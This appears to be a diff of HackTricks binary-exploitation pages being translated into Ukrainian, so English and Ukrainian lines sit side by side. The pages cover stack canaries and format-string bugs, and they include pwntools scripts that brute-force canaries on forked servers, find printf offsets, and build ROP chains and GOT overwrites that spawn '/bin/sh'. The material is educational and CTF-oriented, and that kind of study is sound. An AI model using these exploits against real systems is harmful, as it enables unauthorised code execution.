The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
**Canary** є випадковим числом, отриманим з `/dev/urandom` або значенням за замовчуванням `0xff0a0000`. Він зберігається в **TLS (Локальне зберігання потоків)**, що дозволяє спільним просторам пам'яті між потоками мати специфічні для потоків глобальні або статичні змінні. Ці змінні спочатку копіюються з батьківського процесу, а дочірні процеси можуть змінювати свої дані, не впливаючи на батьківський або братні процеси. Проте, якщо **`fork()` використовується без створення нового canary, всі процеси (батьківський і дочірні) ділять один і той же canary**, що робить його вразливим. На архітектурі **i386** canary зберігається за адресою `gs:0x14`, а на **x86_64** - за адресою `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Цей локальний захист ідентифікує функції з буферами, вразливими до атак, і впроваджує код на початку цих функцій для розміщення canary, а в кінці для перевірки його цілісності.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Коли веб-сервер використовує `fork()`, це дозволяє провести грубу атаку для вгадування байта canary по одному. Однак використання `execve()` після `fork()` перезаписує простір пам'яті, заперечуючи атаку. `vfork()` дозволяє дочірньому процесу виконуватися без дублювання, поки він не намагається записати, в цей момент створюється дублікат, пропонуючи інший підхід до створення процесів і обробки пам'яті.
### Lengths
### Довжини
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
У бінарних файлах `x64` cookie canary є **`0x8`** байтовим qword. **Перші сім байтів випадкові**, а останній байт - **нульовий байт.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
У бінарних файлах `x86` cookie canary є **`0x4`** байтовим dword. **Перші три байти випадкові**, а останній байт - **нульовий байт.**
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> Найменший значущий байт обох canary є нульовим байтом, оскільки він буде першим у стеку, що походить з нижчих адрес, і тому **функції, які читають рядки, зупиняться перед його читанням**.
## Bypasses
## Обходи
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Витік canary** і потім перезапис його (наприклад, переповнення буфера) своїм значенням.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- Якщо **canary розгалужується в дочірніх процесах**, може бути можливим **грубо вгадати** його по одному байту:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- Якщо в бінарному файлі є якийсь цікавий **витік або вразливість довільного читання**, може бути можливим витік його:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Перезапис вказівників, що зберігаються в стеку**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
Стек, вразливий до переповнення стека, може **містити адреси рядків або функцій, які можуть бути перезаписані** для експлуатації вразливості без необхідності досягати canary. Перевірте:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Модифікація як майстерного, так і потокового canary**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
Переповнення буфера **в потоковій функції**, захищеній canary, може бути використано для **модифікації майстерного canary потоку**. В результаті, пом'якшення є марним, оскільки перевірка використовується з двома canary, які є однаковими (хоча модифікованими).
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Більше того, переповнення буфера **в потоковій функції**, захищеній canary, може бути використано для **модифікації майстерного canary, збереженого в TLS**. Це тому, що може бути можливим досягти позиції пам'яті, де зберігається TLS (а отже, і canary) через **bof у стеку** потоку.\
В результаті, пом'якшення є марним, оскільки перевірка використовується з двома canary, які є однаковими (хоча модифікованими).\
Ця атака виконується в описі: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Перевірте також презентацію [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), яка згадує, що зазвичай **TLS** зберігається за допомогою **`mmap`**, і коли створюється **стек** **потоку**, він також генерується за допомогою `mmap`, що може дозволити переповнення, як показано в попередньому описі.
- **Modify the GOT entry of `__stack_chk_fail`**
- **Модифікація запису GOT `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Якщо бінарний файл має Partial RELRO, то ви можете використовувати довільний запис для модифікації **запису GOT `__stack_chk_fail`** на фіктивну функцію, яка не блокує програму, якщо canary буде модифіковано.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Ця атака виконується в описі: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Посилання
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\
> Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою **forking child processes кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), тому що кожного разу, коли ви підключаєтеся до нього, **використовується одна й та ж канарка**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Отже, найкращий спосіб обійти канарку - це просто **brute-force її символ за символом**, і ви можете з'ясувати, чи був вгаданий байт канарки правильним, перевіряючи, чи програма зламалася або продовжує свій звичайний потік. У цьому прикладі функція **brute-forces 8-байтову канарку (x64)** і розрізняє між правильно вгаданим байтом і поганим байтом, просто **перевіряючи**, чи **відповідь** надіслана назад сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
Цей приклад реалізований для 64 біт, але його можна легко реалізувати для 32 біт.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Приклад 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Це реалізовано для 32 біт, але це можна легко змінити на 64 біти.\
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та корисного навантаження.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Потоки
## Threads
Потоки одного процесу також **ділять один і той же токен канарки**, тому буде можливим **брутфорсити** канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака.&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Більше того, **переповнення буфера в поточній функції**, захищеній канаркою, може бути використано для **модифікації майстер-канарки, збереженої в TLS**. Це пов'язано з тим, що може бути можливим досягти позиції пам'яті, де зберігається TLS (а отже, і канарка) через **bof у стеку** потоку.\
В результаті, пом'якшення є марним, оскільки перевірка використовується з двома канарками, які є однаковими (хоча модифікованими).\
Ця атака описана в звіті: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Перегляньте також презентацію [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), яка згадує, що зазвичай **TLS** зберігається за допомогою **`mmap`**, і коли створюється **стек** **потоку**, він також генерується за допомогою `mmap`, що може дозволити переповнення, як показано в попередньому звіті.
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
## Other examples & references
## Інші приклади та посилання
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 біти, без PIE, nx, BF канарка, записати в пам'ять ROP для виклику `execve` і стрибка туди.

View File

@ -1,33 +1,33 @@
# Print Stack Canary
# Друк Стекового Канарейка
{{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack
## Збільшити надрукований стек
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Уявіть ситуацію, коли **програма вразлива** до переповнення стеку і може виконати функцію **puts**, **вказуючи** на **частину** **переповнення стеку**. Зловмисник знає, що **перший байт канарейки - це нульовий байт** (`\x00`), а решта канарейки - це **випадкові** байти. Тоді зловмисник може створити переповнення, яке **перезаписує стек до першого байта канарейки**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Потім зловмисник **викликає функціональність puts** у середині корисного навантаження, що **надрукує всю канарейку** (за винятком першого нульового байта).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
З цією інформацією зловмисник може **створити та надіслати нову атаку**, знаючи канарейку (в тій же сесії програми).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Очевидно, ця тактика є дуже **обмеженою**, оскільки зловмисник повинен мати можливість **друкувати** **вміст** свого **корисного навантаження**, щоб **екстрагувати** **канарейку**, а потім мати можливість створити нове корисне навантаження (в **тій же сесії програми**) і **надіслати** **реальне переповнення буфера**.
**CTF examples:**&#x20;
**Приклади CTF:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, щоб потім викликати puts і витягнути його. З канарейкою створюється ROP гаджет для виклику puts, щоб витягнути адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 біти, ARM, без relro, канарейка, nx, без pie. Переповнення з викликом puts для витягування канарейки + ret2lib, викликаючи `system` з ROP ланцюгом для попередження r0 (аргумент `/bin/sh`) і pc (адреса системи)
## Arbitrary Read
## Довільне Читання
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
З **довільним читанням**, як те, що надається форматними **рядками**, може бути можливим витягнути канарейку. Перевірте цей приклад: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) і ви можете прочитати про зловживання форматними рядками для читання довільних адрес пам'яті в:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Це завдання зловживає дуже простим способом форматним рядком для читання канарейки зі стеку
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# Загальні проблеми експлуатації
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## FD у віддаленій експлуатації
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Коли ви надсилаєте експлойт на віддалений сервер, який викликає **`system('/bin/sh')`**, це буде виконано в процесі сервера, і `/bin/sh` очікуватиме введення з stdin (FD: `0`) і виведе результати в stdout і stderr (FDs `1` і `2`). Тому атакуючий не зможе взаємодіяти з оболонкою.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив **FD номер `3`** (для прослуховування), а потім ваше з'єднання буде в **FD номер `4`**. Отже, можливо використовувати системний виклик **`dup2`**, щоб дублювати stdin (FD 0) і stdout (FD 1) в FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.
[**Приклад експлойту звідси**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
Зверніть увагу, що socat вже передає **`stdin`** та **`stdout`** до сокета. Однак, режим `pty` **включає символи DELETE**. Тому, якщо ви надішлете `\x7f` ( `DELETE` -), це **видалить попередній символ** вашого експлойту.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Щоб обійти це, **символ втечі `\x16` повинен бути попереджений перед будь-яким `\x7f`, що надсилається.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Тут ви можете** [**знайти приклад цієї поведінки**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,23 +1,16 @@
# Format Strings
# Форматні рядки
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Основна інформація
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматами**. **Наступні параметри**, які очікуються, - це **значення** для **заміни** **форматів** з сирого тексту.
{% embed url="https://www.stmcyber.com/careers" %}
Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**.
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
#### Formatters:
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** для цієї функції. Зловмисник зможе створити **спеціальний вхід, який зловживає** можливостями **форматного рядка printf** для читання та **запису будь-яких даних за будь-якою адресою (читабельна/записувана)**. Таким чином, маючи можливість **виконувати довільний код**.
#### Формати:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Приклади:**
**Examples:**
- Vulnerable example:
- Вразливий приклад:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Звичайне використання:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- З відсутніми аргументами:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf вразливий:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Доступ до вказівників**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
```c
printf("%x %x %x %x")
```
і ви б читали з першого до четвертого параметра.
and you would read from the first to the forth param.
Or you could do:
Або ви могли б зробити:
```c
printf("%4$x")
```
і безпосередньо прочитати четвертий.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Зверніть увагу, що атакуючий контролює параметр `printf`, **що в основному означає, що** його введення буде в стеку, коли викликається `printf`, що означає, що він може записувати конкретні адреси пам'яті в стек.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Довільне читання**
Можна використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться на **n позиції**, слідуючи за нею, і **друкувати її, як якби це була строка** (друкувати до тих пір, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що ввід користувача починається на 4-й позиції в стеці, можна надрукувати початок бінарного файлу за допомогою:
```python
from pwn import *
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Зверніть увагу, що ви не можете поставити адресу 0x8048000 на початку введення, оскільки рядок буде обірвано на 0x00 в кінці цієї адреси.
### Find offset
### Знайти зсув
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Щоб знайти зсув для вашого введення, ви можете надіслати 4 або 8 байтів (`0x41414141`), за якими слідує **`%1$x`** і **збільшити** значення, поки не отримаєте `A's`.
<details>
<summary>Brute Force printf offset</summary>
<summary>Брутфорс зсуву printf</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Наскільки корисно
Arbitrary reads can be useful to:
Випадкові читання можуть бути корисними для:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Вивантаження** **бінарного** файлу з пам'яті
- **Доступу до конкретних частин пам'яті, де зберігається чутлива** **інформація** (наприклад, канарейки, ключі шифрування або користувацькі паролі, як у цьому [**CTF виклику**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
## **Випадкове записування**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Форматер **`%<num>$n`** **записує** **кількість записаних байтів** за **вказаною адресою** в параметрі \<num> у стеку. Якщо зловмисник може записати стільки символів, скільки захоче, використовуючи printf, він зможе змусити **`%<num>$n`** записати випадкове число за випадковою адресою.
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до введення, для цього можна використовувати форматер **`%.<num-write>%<num>$n`**, щоб записати число **`<num-write>`** за **адресою, на яку вказує позиція `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Однак, зверніть увагу, що зазвичай для запису адреси, такої як `0x08049724` (що є ВЕЛИЧЕЗНИМ числом для запису одночасно), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: один раз для найвищих 2B адреси і ще раз для найнижчих.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Отже, ця вразливість дозволяє **записувати що завгодно в будь-яку адресу (произвольний запис).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
У цьому прикладі метою буде **перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча це може зловживати іншими техніками произвольного запису для виконання:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказати** її на **функцію** **`system`**.\
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
- **HOB** is called to the 2 higher bytes of the address
